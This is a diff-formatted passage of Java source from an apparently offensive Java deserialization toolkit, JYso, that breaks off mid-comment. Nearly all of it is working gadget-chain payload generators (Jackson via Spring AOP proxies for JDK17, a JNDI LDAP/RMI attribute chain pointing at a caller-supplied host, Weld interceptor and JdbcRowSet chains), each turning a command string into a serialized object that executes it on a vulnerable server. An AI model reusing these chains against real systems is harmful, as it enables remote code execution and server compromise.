import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||||
import com.qi4l.JYso.gadgets.utils.SuClassLoader;
|
import com.qi4l.JYso.gadgets.utils.SuClassLoader;
|
||||||
import com.qi4l.JYso.gadgets.utils.ThirdLibsClassLoader;
|
import com.qi4l.JYso.gadgets.utils.ThirdLibsClassLoader;
|
||||||
import javassist.ClassPool;
|
import javassist.ClassPool;
|
||||||
import javassist.CtClass;
|
import javassist.CtClass;
|
||||||
import javassist.CtMethod;
|
import javassist.CtMethod;
|
||||||
import org.springframework.aop.framework.AdvisedSupport;
|
import org.springframework.aop.framework.AdvisedSupport;
|
||||||
import org.springframework.aop.framework.AdvisorChainFactory;
|
import org.springframework.aop.framework.AdvisorChainFactory;
|
||||||
|
|
||||||
import javax.sql.DataSource;
|
import javax.sql.DataSource;
|
||||||
import javax.xml.transform.Templates;
|
import javax.xml.transform.Templates;
|
||||||
import java.lang.reflect.Constructor;
|
import java.lang.reflect.Constructor;
|
||||||
import java.lang.reflect.InvocationHandler;
|
import java.lang.reflect.InvocationHandler;
|
||||||
import java.lang.reflect.Proxy;
|
import java.lang.reflect.Proxy;
|
||||||
import java.util.Vector;
|
import java.util.Vector;
|
||||||
|
|
||||||
import static com.qi4l.JYso.gadgets.utils.InjShell.insertField;
|
import static com.qi4l.JYso.gadgets.utils.InjShell.insertField;
|
||||||
import static com.qi4l.JYso.gadgets.utils.Reflections.getFieldValue;
|
import static com.qi4l.JYso.gadgets.utils.Reflections.getFieldValue;
|
||||||
import static com.qi4l.JYso.gadgets.utils.Reflections.setFieldValue;
|
import static com.qi4l.JYso.gadgets.utils.Reflections.setFieldValue;
|
||||||
|
|
||||||
|
|
||||||
//Jackson2链的JDK17改造
|
//Jackson2链的JDK17改造
|
||||||
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
||||||
@Dependencies({"spring-apo:6.2.10"})
|
@Dependencies({"spring-apo:6.2.10"})
|
||||||
@Authors({Authors.JSJCW})
|
@Authors({Authors.JSJCW})
|
||||||
public class Jackson3 implements ObjectPayload<Object> {
|
public class Jackson3 implements ObjectPayload<Object> {
|
||||||
static InvocationHandler setSuidSource(AdvisedSupport advisedSupport) throws Exception {
|
static InvocationHandler setSuidSource(AdvisedSupport advisedSupport) throws Exception {
|
||||||
//<=6.0.23为6115154060221772279
|
//<=6.0.23为6115154060221772279
|
||||||
//>=6.1.0 为273003553246259276
|
//>=6.1.0 为273003553246259276
|
||||||
String sUID = "273003553246259276";
|
String sUID = "273003553246259276";
|
||||||
CtClass ctDefaultAdvisorChainFactory = insertField(
|
CtClass ctDefaultAdvisorChainFactory = insertField(
|
||||||
"org.springframework.aop.framework.DefaultAdvisorChainFactory",
|
"org.springframework.aop.framework.DefaultAdvisorChainFactory",
|
||||||
"private static final long serialVersionUID = " + sUID + "L;");
|
"private static final long serialVersionUID = " + sUID + "L;");
|
||||||
|
|
||||||
Object ctFactory = ctDefaultAdvisorChainFactory.toClass(
|
Object ctFactory = ctDefaultAdvisorChainFactory.toClass(
|
||||||
new SuClassLoader(),SuClassLoader.class.getProtectionDomain()
|
new SuClassLoader(),SuClassLoader.class.getProtectionDomain()
|
||||||
).newInstance();
|
).newInstance();
|
||||||
advisedSupport.setAdvisorChainFactory((AdvisorChainFactory) ctFactory);
|
advisedSupport.setAdvisorChainFactory((AdvisorChainFactory) ctFactory);
|
||||||
|
|
||||||
Constructor<?> constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
|
Constructor<?> constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
|
||||||
constructor.setAccessible(true);
|
constructor.setAccessible(true);
|
||||||
return (InvocationHandler) constructor.newInstance(advisedSupport);
|
return (InvocationHandler) constructor.newInstance(advisedSupport);
|
||||||
}
|
}
|
||||||
|
|
||||||
public static Object makeTemplatesImplAopProxy(String cmd) throws Exception {
|
public static Object makeTemplatesImplAopProxy(String cmd) throws Exception {
|
||||||
AdvisedSupport advisedSupport = new AdvisedSupport();
|
AdvisedSupport advisedSupport = new AdvisedSupport();
|
||||||
advisedSupport.setTarget(Gadgets.createTemplatesImpl(cmd));
|
advisedSupport.setTarget(Gadgets.createTemplatesImpl(cmd));
|
||||||
|
|
||||||
InvocationHandler handler = setSuidSource(advisedSupport);
|
InvocationHandler handler = setSuidSource(advisedSupport);
|
||||||
|
|
||||||
|
|
||||||
return Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
|
return Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
|
||||||
}
|
}
|
||||||
|
|
||||||
public static Object makeDatasourceAopProxy(Object templatesImpl) throws Exception {
|
public static Object makeDatasourceAopProxy(Object templatesImpl) throws Exception {
|
||||||
AdvisedSupport advisedSupport = new AdvisedSupport();
|
AdvisedSupport advisedSupport = new AdvisedSupport();
|
||||||
advisedSupport.setTarget(templatesImpl);
|
advisedSupport.setTarget(templatesImpl);
|
||||||
|
|
||||||
InvocationHandler handler = setSuidSource(advisedSupport);
|
InvocationHandler handler = setSuidSource(advisedSupport);
|
||||||
|
|
||||||
return Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{DataSource.class}, handler);
|
return Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{DataSource.class}, handler);
|
||||||
}
|
}
|
||||||
|
|
||||||
public static Object makeAopProxy(String singletonTargetSourceClassName, String advisedSupportClassName, String jdkDynamicAopProxy, Class superClass, Object targetObject) throws Exception {
|
public static Object makeAopProxy(String singletonTargetSourceClassName, String advisedSupportClassName, String jdkDynamicAopProxy, Class superClass, Object targetObject) throws Exception {
|
||||||
Object singletonTargetSource = ThirdLibsClassLoader.loadClass_(singletonTargetSourceClassName).getConstructor(Object.class).newInstance(targetObject);
|
Object singletonTargetSource = ThirdLibsClassLoader.loadClass_(singletonTargetSourceClassName).getConstructor(Object.class).newInstance(targetObject);
|
||||||
Class<?> advisedSupportClazz = ThirdLibsClassLoader.loadClass_(advisedSupportClassName);
|
Class<?> advisedSupportClazz = ThirdLibsClassLoader.loadClass_(advisedSupportClassName);
|
||||||
Object advisedSupport = advisedSupportClazz.newInstance();
|
Object advisedSupport = advisedSupportClazz.newInstance();
|
||||||
advisedSupportClazz.getMethod("setTarget", Object.class).invoke(advisedSupport, singletonTargetSource);
|
advisedSupportClazz.getMethod("setTarget", Object.class).invoke(advisedSupport, singletonTargetSource);
|
||||||
Constructor<?> constructor = ThirdLibsClassLoader.loadClass_(jdkDynamicAopProxy).getConstructor(advisedSupportClazz);
|
Constructor<?> constructor = ThirdLibsClassLoader.loadClass_(jdkDynamicAopProxy).getConstructor(advisedSupportClazz);
|
||||||
constructor.setAccessible(true);
|
constructor.setAccessible(true);
|
||||||
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
|
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
|
||||||
return Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{superClass}, handler);
|
return Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{superClass}, handler);
|
||||||
}
|
}
|
||||||
|
|
||||||
public static Object getEventListenerList(Object obj) throws Exception {
|
public static Object getEventListenerList(Object obj) throws Exception {
|
||||||
//>=6.1.0 为-7977902244297240866
|
//>=6.1.0 为-7977902244297240866
|
||||||
//<=6.0.23为-5677132037850737084
|
//<=6.0.23为-5677132037850737084
|
||||||
String sUID1 = "7977902244297240866";
|
String sUID1 = "7977902244297240866";
|
||||||
CtClass ctEventListenerList = insertField(
|
CtClass ctEventListenerList = insertField(
|
||||||
"javax.swing.event.EventListenerList",
|
"javax.swing.event.EventListenerList",
|
||||||
"private static final long serialVersionUID = -" + sUID1 + "L;");
|
"private static final long serialVersionUID = -" + sUID1 + "L;");
|
||||||
Object list = ctEventListenerList.toClass(
|
Object list = ctEventListenerList.toClass(
|
||||||
new SuClassLoader(),SuClassLoader.class.getProtectionDomain()
|
new SuClassLoader(),SuClassLoader.class.getProtectionDomain()
|
||||||
).newInstance();
|
).newInstance();
|
||||||
|
|
||||||
//>=6.1.0 为-1045223116463488483
|
//>=6.1.0 为-1045223116463488483
|
||||||
//<=6.0.23为-2077529998244066750
|
//<=6.0.23为-2077529998244066750
|
||||||
String sUID2 = "1045223116463488483";
|
String sUID2 = "1045223116463488483";
|
||||||
CtClass ctUndoManager = insertField(
|
CtClass ctUndoManager = insertField(
|
||||||
"javax.swing.undo.UndoManager",
|
"javax.swing.undo.UndoManager",
|
||||||
"private static final long serialVersionUID = -" + sUID2 + "L;");
|
"private static final long serialVersionUID = -" + sUID2 + "L;");
|
||||||
Object undomanager = ctUndoManager.toClass(
|
Object undomanager = ctUndoManager.toClass(
|
||||||
new SuClassLoader(),SuClassLoader.class.getProtectionDomain()
|
new SuClassLoader(),SuClassLoader.class.getProtectionDomain()
|
||||||
).newInstance();
|
).newInstance();
|
||||||
|
|
||||||
//取出UndoManager类的父类CompoundEdit类的edits属性里的vector对象,并把需要触发toString的类add进去。
|
//取出UndoManager类的父类CompoundEdit类的edits属性里的vector对象,并把需要触发toString的类add进去。
|
||||||
Vector vector = (Vector) getFieldValue(undomanager, "edits");
|
Vector vector = (Vector) getFieldValue(undomanager, "edits");
|
||||||
vector.add(obj);
|
vector.add(obj);
|
||||||
|
|
||||||
setFieldValue(list, "listenerList", new Object[]{Class.class, undomanager});
|
setFieldValue(list, "listenerList", new Object[]{Class.class, undomanager});
|
||||||
return list;
|
return list;
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public Object getObject(final String command) throws Exception {
|
public Object getObject(final String command) throws Exception {
|
||||||
try {
|
try {
|
||||||
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
|
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
|
||||||
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
|
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
|
||||||
ctClass.removeMethod(writeReplace);
|
ctClass.removeMethod(writeReplace);
|
||||||
ctClass.toClass();
|
ctClass.toClass();
|
||||||
} catch (Exception ignored) {
|
} catch (Exception ignored) {
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
POJONode node = new POJONode(makeTemplatesImplAopProxy(command));
|
POJONode node = new POJONode(makeTemplatesImplAopProxy(command));
|
||||||
|
|
||||||
return getEventListenerList(node);
|
return getEventListenerList(node);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,44 +1,44 @@
|
|||||||
package com.qi4l.JYso.gadgets;
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
import com.fasterxml.jackson.databind.node.POJONode;
|
import com.fasterxml.jackson.databind.node.POJONode;
|
||||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
import com.sun.org.apache.xpath.internal.objects.XObject;
|
import com.sun.org.apache.xpath.internal.objects.XObject;
|
||||||
import com.sun.org.apache.xpath.internal.objects.XString;
|
import com.sun.org.apache.xpath.internal.objects.XString;
|
||||||
import javassist.ClassPool;
|
import javassist.ClassPool;
|
||||||
import javassist.CtClass;
|
import javassist.CtClass;
|
||||||
import javassist.CtMethod;
|
import javassist.CtMethod;
|
||||||
|
|
||||||
import java.util.HashMap;
|
import java.util.HashMap;
|
||||||
|
|
||||||
import static com.qi4l.JYso.gadgets.Jackson3.makeTemplatesImplAopProxy;
|
import static com.qi4l.JYso.gadgets.Jackson3.makeTemplatesImplAopProxy;
|
||||||
|
|
||||||
|
|
||||||
//Jackson1链的JDK17改造
|
//Jackson1链的JDK17改造
|
||||||
|
|
||||||
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
||||||
@Dependencies({"spring-apo:6.2.10"})
|
@Dependencies({"spring-apo:6.2.10"})
|
||||||
@Authors({Authors.QI4L})
|
@Authors({Authors.QI4L})
|
||||||
public class Jackson4 implements ObjectPayload<Object> {
|
public class Jackson4 implements ObjectPayload<Object> {
|
||||||
@Override
|
@Override
|
||||||
public Object getObject(String command) throws Exception {
|
public Object getObject(String command) throws Exception {
|
||||||
try {
|
try {
|
||||||
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
|
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
|
||||||
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
|
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
|
||||||
ctClass.removeMethod(writeReplace);
|
ctClass.removeMethod(writeReplace);
|
||||||
ctClass.toClass();
|
ctClass.toClass();
|
||||||
} catch (Exception ignored) {
|
} catch (Exception ignored) {
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
POJONode node = new POJONode(makeTemplatesImplAopProxy(command));
|
POJONode node = new POJONode(makeTemplatesImplAopProxy(command));
|
||||||
XObject xString = new XString("foo");
|
XObject xString = new XString("foo");
|
||||||
HashMap<Object, Object> map1 = new HashMap();
|
HashMap<Object, Object> map1 = new HashMap();
|
||||||
HashMap<Object, Object> map2 = new HashMap();
|
HashMap<Object, Object> map2 = new HashMap();
|
||||||
map1.put("yy", node);
|
map1.put("yy", node);
|
||||||
map1.put("zZ", xString);
|
map1.put("zZ", xString);
|
||||||
map2.put("yy", xString);
|
map2.put("yy", xString);
|
||||||
map2.put("zZ", node);
|
map2.put("zZ", node);
|
||||||
return com.qi4l.JYso.gadgets.utils.Utils.makeMap(map1, map2);
|
return com.qi4l.JYso.gadgets.utils.Utils.makeMap(map1, map2);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,62 +1,62 @@
|
|||||||
package com.qi4l.JYso.gadgets;
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
import com.fasterxml.jackson.databind.node.POJONode;
|
import com.fasterxml.jackson.databind.node.POJONode;
|
||||||
import javassist.ClassPool;
|
import javassist.ClassPool;
|
||||||
import javassist.CtClass;
|
import javassist.CtClass;
|
||||||
import javassist.CtMethod;
|
import javassist.CtMethod;
|
||||||
import org.apache.logging.log4j.Logger;
|
import org.apache.logging.log4j.Logger;
|
||||||
import org.apache.logging.log4j.LogManager;
|
import org.apache.logging.log4j.LogManager;
|
||||||
|
|
||||||
import javax.management.BadAttributeValueExpException;
|
import javax.management.BadAttributeValueExpException;
|
||||||
import javax.naming.CompositeName;
|
import javax.naming.CompositeName;
|
||||||
import javax.naming.directory.BasicAttribute;
|
import javax.naming.directory.BasicAttribute;
|
||||||
import java.lang.reflect.Constructor;
|
import java.lang.reflect.Constructor;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
|
|
||||||
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
||||||
public class JacksonLdapAttr implements ObjectPayload<Object> {
|
public class JacksonLdapAttr implements ObjectPayload<Object> {
|
||||||
private static final Logger log = LogManager.getLogger(JacksonLdapAttr.class);
|
private static final Logger log = LogManager.getLogger(JacksonLdapAttr.class);
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public Object getObject(String command) throws Exception {
|
public Object getObject(String command) throws Exception {
|
||||||
|
|
||||||
|
|
||||||
if (command.toLowerCase().startsWith("jndi:")) {
|
if (command.toLowerCase().startsWith("jndi:")) {
|
||||||
command = command.substring(5);
|
command = command.substring(5);
|
||||||
}
|
}
|
||||||
|
|
||||||
if (!command.toLowerCase().startsWith("ldap://") && !command.toLowerCase().startsWith("rmi://")) {
|
if (!command.toLowerCase().startsWith("ldap://") && !command.toLowerCase().startsWith("rmi://")) {
|
||||||
throw new Exception("Command format is: [rmi|ldap]://host:port/obj");
|
throw new Exception("Command format is: [rmi|ldap]://host:port/obj");
|
||||||
}
|
}
|
||||||
|
|
||||||
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
|
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
|
||||||
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
|
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
|
||||||
ctClass.removeMethod(writeReplace);
|
ctClass.removeMethod(writeReplace);
|
||||||
ctClass.toClass();
|
ctClass.toClass();
|
||||||
|
|
||||||
try {
|
try {
|
||||||
Class clazz = Class.forName("com.sun.jndi.ldap.LdapAttribute");
|
Class clazz = Class.forName("com.sun.jndi.ldap.LdapAttribute");
|
||||||
Constructor clazz_cons = clazz.getDeclaredConstructor(String.class);
|
Constructor clazz_cons = clazz.getDeclaredConstructor(String.class);
|
||||||
clazz_cons.setAccessible(true);
|
clazz_cons.setAccessible(true);
|
||||||
BasicAttribute la = (BasicAttribute) clazz_cons.newInstance(new Object[]{"exp"});
|
BasicAttribute la = (BasicAttribute) clazz_cons.newInstance(new Object[]{"exp"});
|
||||||
Field bcu_fi = clazz.getDeclaredField("baseCtxURL");
|
Field bcu_fi = clazz.getDeclaredField("baseCtxURL");
|
||||||
bcu_fi.setAccessible(true);
|
bcu_fi.setAccessible(true);
|
||||||
bcu_fi.set(la, command);
|
bcu_fi.set(la, command);
|
||||||
CompositeName cn = new CompositeName();
|
CompositeName cn = new CompositeName();
|
||||||
cn.add("a");
|
cn.add("a");
|
||||||
cn.add("b");
|
cn.add("b");
|
||||||
Field rdn_fi = clazz.getDeclaredField("rdn");
|
Field rdn_fi = clazz.getDeclaredField("rdn");
|
||||||
rdn_fi.setAccessible(true);
|
rdn_fi.setAccessible(true);
|
||||||
rdn_fi.set(la, cn);
|
rdn_fi.set(la, cn);
|
||||||
POJONode node = new POJONode(la);
|
POJONode node = new POJONode(la);
|
||||||
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
|
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
|
||||||
Field valfield = val.getClass().getDeclaredField("val");
|
Field valfield = val.getClass().getDeclaredField("val");
|
||||||
valfield.setAccessible(true);
|
valfield.setAccessible(true);
|
||||||
valfield.set(val, node);
|
valfield.set(val, node);
|
||||||
return val;
|
return val;
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
log.error("e: ", e);
|
log.error("e: ", e);
|
||||||
}
|
}
|
||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,90 +1,90 @@
|
|||||||
package com.qi4l.JYso.gadgets;
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
|
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
|
||||||
import org.jboss.weld.interceptor.builder.InterceptionModelBuilder;
|
import org.jboss.weld.interceptor.builder.InterceptionModelBuilder;
|
||||||
import org.jboss.weld.interceptor.builder.MethodReference;
|
import org.jboss.weld.interceptor.builder.MethodReference;
|
||||||
import org.jboss.weld.interceptor.proxy.DefaultInvocationContextFactory;
|
import org.jboss.weld.interceptor.proxy.DefaultInvocationContextFactory;
|
||||||
import org.jboss.weld.interceptor.proxy.InterceptorMethodHandler;
|
import org.jboss.weld.interceptor.proxy.InterceptorMethodHandler;
|
||||||
import org.jboss.weld.interceptor.reader.ClassMetadataInterceptorReference;
|
import org.jboss.weld.interceptor.reader.ClassMetadataInterceptorReference;
|
||||||
import org.jboss.weld.interceptor.reader.DefaultMethodMetadata;
|
import org.jboss.weld.interceptor.reader.DefaultMethodMetadata;
|
||||||
import org.jboss.weld.interceptor.reader.ReflectiveClassMetadata;
|
import org.jboss.weld.interceptor.reader.ReflectiveClassMetadata;
|
||||||
import org.jboss.weld.interceptor.reader.SimpleInterceptorMetadata;
|
import org.jboss.weld.interceptor.reader.SimpleInterceptorMetadata;
|
||||||
import org.jboss.weld.interceptor.spi.instance.InterceptorInstantiator;
|
import org.jboss.weld.interceptor.spi.instance.InterceptorInstantiator;
|
||||||
import org.jboss.weld.interceptor.spi.metadata.InterceptorReference;
|
import org.jboss.weld.interceptor.spi.metadata.InterceptorReference;
|
||||||
import org.jboss.weld.interceptor.spi.metadata.MethodMetadata;
|
import org.jboss.weld.interceptor.spi.metadata.MethodMetadata;
|
||||||
import org.jboss.weld.interceptor.spi.model.InterceptionModel;
|
import org.jboss.weld.interceptor.spi.model.InterceptionModel;
|
||||||
|
|
||||||
import java.lang.reflect.Constructor;
|
import java.lang.reflect.Constructor;
|
||||||
import java.util.*;
|
import java.util.*;
|
||||||
|
|
||||||
|
|
||||||
/*
|
/*
|
||||||
by @matthias_kaiser
|
by @matthias_kaiser
|
||||||
*/
|
*/
|
||||||
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
||||||
@Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.weld:weld-core:1.1.33.Final",
|
@Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.weld:weld-core:1.1.33.Final",
|
||||||
"javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1",
|
"javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1",
|
||||||
"org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21"})
|
"org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21"})
|
||||||
@Authors({Authors.MATTHIASKAISER})
|
@Authors({Authors.MATTHIASKAISER})
|
||||||
public class JavassistWeld1 implements ObjectPayload<Object> {
|
public class JavassistWeld1 implements ObjectPayload<Object> {
|
||||||
|
|
||||||
public Object getObject(String command) throws Exception {
|
public Object getObject(String command) throws Exception {
|
||||||
|
|
||||||
return get_chain(command, org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE, null);
|
return get_chain(command, org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE, null);
|
||||||
}
|
}
|
||||||
|
|
||||||
static Object get_chain(
|
static Object get_chain(
|
||||||
String command,
|
String command,
|
||||||
org.jboss.weld.interceptor.spi.model.InterceptionType POST_ACTIVATE,
|
org.jboss.weld.interceptor.spi.model.InterceptionType POST_ACTIVATE,
|
||||||
org.jboss.interceptor.spi.model.InterceptionType POST_ACTIVATE1
|
org.jboss.interceptor.spi.model.InterceptionType POST_ACTIVATE1
|
||||||
) throws Exception {
|
) throws Exception {
|
||||||
Object tpl = Gadgets.createTemplatesImpl(command);
|
Object tpl = Gadgets.createTemplatesImpl(command);
|
||||||
|
|
||||||
InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class);
|
InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class);
|
||||||
ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class);
|
ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class);
|
||||||
InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata);
|
InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata);
|
||||||
|
|
||||||
Set s = new HashSet<>();
|
Set s = new HashSet<>();
|
||||||
|
|
||||||
if (POST_ACTIVATE != null) {
|
if (POST_ACTIVATE != null) {
|
||||||
s.add(POST_ACTIVATE);
|
s.add(POST_ACTIVATE);
|
||||||
} else {
|
} else {
|
||||||
s.add(POST_ACTIVATE1);
|
s.add(POST_ACTIVATE1);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class);
|
Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class);
|
||||||
Reflections.setAccessible(defaultMethodMetadataConstructor);
|
Reflections.setAccessible(defaultMethodMetadataConstructor);
|
||||||
MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s,
|
MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s,
|
||||||
MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true));
|
MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true));
|
||||||
|
|
||||||
List list = new ArrayList();
|
List list = new ArrayList();
|
||||||
list.add(methodMetadata);
|
list.add(methodMetadata);
|
||||||
Map hashMap = new HashMap<>();
|
Map hashMap = new HashMap<>();
|
||||||
|
|
||||||
if (POST_ACTIVATE != null) {
|
if (POST_ACTIVATE != null) {
|
||||||
hashMap.put(POST_ACTIVATE, list);
|
hashMap.put(POST_ACTIVATE, list);
|
||||||
} else {
|
} else {
|
||||||
hashMap.put(POST_ACTIVATE1, list);
|
hashMap.put(POST_ACTIVATE1, list);
|
||||||
}
|
}
|
||||||
|
|
||||||
SimpleInterceptorMetadata simpleInterceptorMetadata = new SimpleInterceptorMetadata(interceptorReference, true, hashMap);
|
SimpleInterceptorMetadata simpleInterceptorMetadata = new SimpleInterceptorMetadata(interceptorReference, true, hashMap);
|
||||||
|
|
||||||
builder.interceptAll().with(simpleInterceptorMetadata);
|
builder.interceptAll().with(simpleInterceptorMetadata);
|
||||||
|
|
||||||
InterceptionModel model = builder.build();
|
InterceptionModel model = builder.build();
|
||||||
|
|
||||||
HashMap map = new HashMap();
|
HashMap map = new HashMap();
|
||||||
map.put("qi4l", "qi4l");
|
map.put("qi4l", "qi4l");
|
||||||
|
|
||||||
DefaultInvocationContextFactory factory = new DefaultInvocationContextFactory();
|
DefaultInvocationContextFactory factory = new DefaultInvocationContextFactory();
|
||||||
|
|
||||||
InterceptorInstantiator interceptorInstantiator = paramInterceptorReference -> tpl;
|
InterceptorInstantiator interceptorInstantiator = paramInterceptorReference -> tpl;
|
||||||
|
|
||||||
return new InterceptorMethodHandler(map, metadata, model, interceptorInstantiator, factory);
|
return new InterceptorMethodHandler(map, metadata, model, interceptorInstantiator, factory);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,11 +1,11 @@
|
|||||||
package com.qi4l.JYso.gadgets;
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
import static com.qi4l.JYso.gadgets.ROMEJDBC.makeJNDIRowSet;
|
import static com.qi4l.JYso.gadgets.ROMEJDBC.makeJNDIRowSet;
|
||||||
|
|
||||||
@SuppressWarnings({"unused"})
|
@SuppressWarnings({"unused"})
|
||||||
public class JdbcRowSet implements ObjectPayload<Object> {
|
public class JdbcRowSet implements ObjectPayload<Object> {
|
||||||
@Override
|
@Override
|
||||||
public Object getObject(String command) throws Exception {
|
public Object getObject(String command) throws Exception {
|
||||||
return makeJNDIRowSet(command);
|
return makeJNDIRowSet(command);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -1,101 +1,101 @@
|
|||||||
package com.qi4l.JYso.gadgets;
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||||
import com.qi4l.JYso.gadgets.utils.JavaVersion;
|
import com.qi4l.JYso.gadgets.utils.JavaVersion;
|
||||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
|
|
||||||
import javax.xml.transform.Templates;
|
import javax.xml.transform.Templates;
|
||||||
import java.lang.reflect.Constructor;
|
import java.lang.reflect.Constructor;
|
||||||
import java.lang.reflect.InvocationHandler;
|
import java.lang.reflect.InvocationHandler;
|
||||||
import java.lang.reflect.Proxy;
|
import java.lang.reflect.Proxy;
|
||||||
import java.util.HashMap;
|
import java.util.HashMap;
|
||||||
import java.util.LinkedHashSet;
|
import java.util.LinkedHashSet;
|
||||||
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Gadget chain that works against JRE 1.7u21 and earlier. Payload generation has
|
* Gadget chain that works against JRE 1.7u21 and earlier. Payload generation has
|
||||||
* the same JRE version requirements.
|
* the same JRE version requirements.
|
||||||
* <p>
|
* <p>
|
||||||
* See: https://gist.github.com/frohoff/24af7913611f8406eaf3
|
* See: https://gist.github.com/frohoff/24af7913611f8406eaf3
|
||||||
* <p>
|
* <p>
|
||||||
* Call tree:
|
* Call tree:
|
